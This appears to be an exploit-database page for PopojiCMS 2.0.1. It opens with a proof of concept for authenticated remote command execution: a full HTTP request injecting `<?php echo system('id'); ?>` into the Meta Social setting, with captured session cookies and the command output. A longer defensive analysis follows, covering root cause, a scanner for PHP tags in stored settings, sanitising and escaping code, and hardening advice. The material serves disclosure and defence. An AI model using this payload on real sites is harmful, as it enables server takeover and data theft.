PopojiCMS Version 2.0.1 - Remote Command Execution

Exploit Author: tmrswrr Analysis Author: www.bubbleslearn.ir Category: WebApps Language: PHP Published Date: 2024-04-12
# Exploit Title: PopojiCMS Version : 2.0.1  Remote Command Execution
# Date: 27/11/2023
# Exploit Author: tmrswrr
# Vendor Homepage: https://www.popojicms.org/
# Software Link: https://github.com/PopojiCMS/PopojiCMS/archive/refs/tags/v2.0.1.zip
# Version: Version : 2.0.1
# Tested on: https://www.softaculous.com/apps/cms/PopojiCMS

##POC:

1 ) Login with admin cred and click settings
2 ) Click on config , write your payload in Meta Social > <?php echo system('id'); ?>
3 ) Open main page , you will be see id command result 


POST /PopojiCMS9zl3dxwbzt/po-admin/route.php?mod=setting&act=metasocial HTTP/1.1
Host: demos5.softaculous.com
Cookie: _ga_YYDPZ3NXQQ=GS1.1.1701095610.3.1.1701096569.0.0.0; _ga=GA1.1.386621536.1701082112; AEFCookies1526[aefsid]=3cbt9mdj1kpi06aj1q5r8yhtgouteb5s; PHPSESSID=b6f1f9beefcec94f09824efa9dae9847; lang=gb; demo_563=%7B%22sid%22%3A563%2C%22adname%22%3A%22admin%22%2C%22adpass%22%3A%22password%22%2C%22url%22%3A%22http%3A%5C%2F%5C%2Fdemos5.softaculous.com%5C%2FPopojiCMS9zl3dxwbzt%22%2C%22adminurl%22%3A%22http%3A%5C%2F%5C%2Fdemos5.softaculous.com%5C%2FPopojiCMS9zl3dxwbzt%5C%2Fpo-admin%5C%2F%22%2C%22dir_suffix%22%3A%229zl3dxwbzt%22%7D
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://demos5.softaculous.com/PopojiCMS9zl3dxwbzt/po-admin/admin.php?mod=setting
Content-Type: application/x-www-form-urlencoded
Content-Length: 58
Origin: https://demos5.softaculous.com
Dnt: 1
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close

meta_content=%3C%3Fphp+echo+system%28%27id%27%29%3B+%3F%3E

Result: 

uid=1000(soft) gid=1000(soft) groups=1000(soft) uid=1000(soft) gid=1000(soft) groups=1000(soft)


PopojiCMS 2.0.1 — Authenticated Remote Command Execution: analysis, detection, and remediation

PopojiCMS version 2.0.1 contains a serious security weakness that can lead to Remote Command Execution (RCE) when an authenticated administrator (or an actor who has gained admin-level access) is able to inject PHP code into configuration fields that are later executed by the application. This article explains the root cause, risk, detection techniques, safe remediation patterns, and operational mitigations to protect systems running PopojiCMS or similar CMS platforms.

Executive summary

  • Vulnerability class: Authenticated PHP code injection leading to RCE.
  • Prerequisites for exploitation: Administrative-level write access to configuration settings (or equivalent ability to persist arbitrary content that the app later executes).
  • Impact: Full site compromise, possible privilege escalation on the host, data theft, persistent backdoors.
  • Remediation: Remove any runtime-evaluated content paths, sanitize/escape stored settings, apply vendor patches or upgrade to a fixed release, and harden the environment.

How this type of vulnerability occurs (root cause)

At a high level, the issue arises when the application both (a) allows arbitrary text (including PHP source) to be saved into a persistent configuration or content field and (b) later includes, evaluates, or otherwise executes that stored content in the PHP runtime (for example via include, eval, or by writing it into a PHP file that gets executed). The combination of writeable configuration fields and runtime code evaluation is inherently dangerous.

Attack scenario (high level)

  • An attacker with administrative privileges stores malicious PHP code into an application-configurable field intended for HTML or metadata.
  • The CMS, when rendering the site, interprets or executes that stored content as PHP.
  • The injected code runs with the webserver’s privileges, allowing arbitrary command execution, file reads/writes, webshell installation, or pivoting.

Impact and severity

Authenticated RCE is a critical severity issue: it can lead to full site takeover, data exfiltration, backdoors, and use of the compromised server to attack other systems. Even if exploitation requires admin access, the presence of such a vulnerability magnifies the damage of any credential compromise.

Detection and indicators of compromise

  • Search the database for stored values that contain PHP opening tags or suspicious code snippets (e.g., "<?php", "eval(", "system(", "shell_exec("). These are strong indicators that stored configuration may contain executable PHP.
  • Inspect web-accessible configuration files and templates for recently modified files or unexpected PHP insertion.
  • Check webserver and application logs for unexpected long-running requests, POSTs to admin endpoints, or sudden privilege-using actions.
  • Scan the site with a web application scanner or custom script that validates config fields for unsafe content.

Detection example (safe, defensive)

// Pseudocode: defensive check for PHP tags inside configuration values
// This is server-side code you can run as an integrity check (not an exploit).
$rows = $db->query("SELECT id, key, value FROM settings WHERE type='meta' OR key LIKE '%social%'");
foreach ($rows as $r) {
    if (strpos($r['value'], '<?php') !== false || strpos($r['value'], '<?') !== false) {
        // flag for review — stored PHP found
        alert_admin("Possible injected PHP in setting {$r['key']} (id {$r['id']})");
    }
}

Explanation: This defensive snippet queries stored settings and checks for stored PHP open-tags. It flags values that should not contain executable PHP. It is meant for detection and cleanup, not exploitation.

Safe remediation strategies

Fixing this class of vulnerability requires removing or preventing the evaluation of user-controllable content. Recommended actions:

  • Stop evaluating/stitching stored configuration into PHP code. Never write user-supplied strings into code paths that will be executed by the runtime.
  • Escape or sanitize configuration data on output. Use HTML-encoding when rendering content that was intended as text/markup (e.g., meta descriptions, social metadata).
  • Enforce a strict whitelist of allowed characters or formats for settings that have a narrow intended content set (e.g., social media URLs or usernames).
  • Use prepared statements for database access; store raw user input as data, not as code.
  • Upgrade to an official patched release if available. If not, apply the code-level mitigations below.

Secure coding examples and explanations

Below are defensive code patterns for two typical operations: storing a user-supplied metadata field and rendering it safely in the front-end. These examples assume you are working in PHP and that database access uses PDO.

// 1) Safe storing: validate + sanitize input before saving
$meta_content = $_POST['meta_content'] ?? '';
// Basic whitelist: allow printable characters plus limited HTML if needed
$allowed_chars_pattern = '/^[\p{L}\p{N}\s\p{Punct}]+$/u';
if (!preg_match($allowed_chars_pattern, $meta_content)) {
    // input contains unexpected characters — reject or sanitize
    $meta_content = preg_replace('/[^\p{L}\p{N}\s\p{Punct}]+/u', '', $meta_content);
}
// Optionally strip any PHP tags if present
$meta_content = str_ireplace(['<?php', '<?', '?>'], '', $meta_content);

// Store using prepared statements
$stmt = $pdo->prepare('UPDATE settings SET value = :val WHERE `key` = :key');
$stmt->execute([':val' => $meta_content, ':key' => 'meta_social']);

Explanation: This snippet enforces a character whitelist (or strips unacceptable characters) and explicitly removes PHP opening tags before saving. It then stores the value using a prepared statement to avoid DB injection. The goal is to ensure only textual data (not executable code) is persisted.

// 2) Safe rendering: escape on output
// Assume $meta_content was loaded from DB
echo htmlspecialchars($meta_content, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');

Explanation: htmlspecialchars prevents any embedded code or markup from being interpreted by the browser or server. When outputting values that were not intended to be executed as code, always escape them according to the context (HTML, JavaScript, attributes, etc.).

Hardening and operational mitigations

  • Apply principle of least privilege: run the webserver user with minimal filesystem access; protect configuration and code directories with restrictive permissions.
  • Disable dangerous PHP functions you do not need (e.g., exec, system, shell_exec, passthru) via disable_functions in php.ini.
  • Use file integrity monitoring (FIM) to detect changes to PHP files and templates.
  • Install a web application firewall (WAF) with rules that block or review requests containing suspicious payloads to admin endpoints.
  • Perform periodic automated scans of the DB for embedded PHP tags or suspicious patterns and alert on results.
  • Keep the CMS, plugins, and server packages up to date; apply vendor security advisories promptly.

Incident response checklist (if compromise is suspected)

StepAction
ContainIsolate the affected host from network or traffic; disable public access to the site.
AssessSearch DB for injected PHP, scan filesystem for new/modified PHP files, check webserver logs for suspicious admin POSTs.
EradicateRemove injected content, restore from known-good backups, rotate credentials (admin, database, API keys).
RecoverRebuild or patch the application, harden the environment, bring services back under monitored conditions.
ReviewPerform a post-incident review, add detection rules and preventive controls, and notify stakeholders as required.

Vendor/patching guidance

Check PopojiCMS official channels (project repository, vendor advisories) for a patched version or recommended fixes. If a vendor patch is available, prioritize upgrading. If a patch is not yet available, apply the defensive code changes above and restrict admin access until a vendor fix is released. Follow responsible disclosure practices when reporting or coordinating with the vendor.

Key takeaways

  • Never allow user-supplied content to be executed by the runtime. Data must remain data — never be turned into code.
  • Always sanitize and validate input, and always escape output according to the rendering context.
  • Limit the blast radius of administration access via access control, monitoring, and least privilege.
  • Combine code fixes with operational hardening (disable dangerous functions, file permissions, WAF) and incident detection to reduce risk.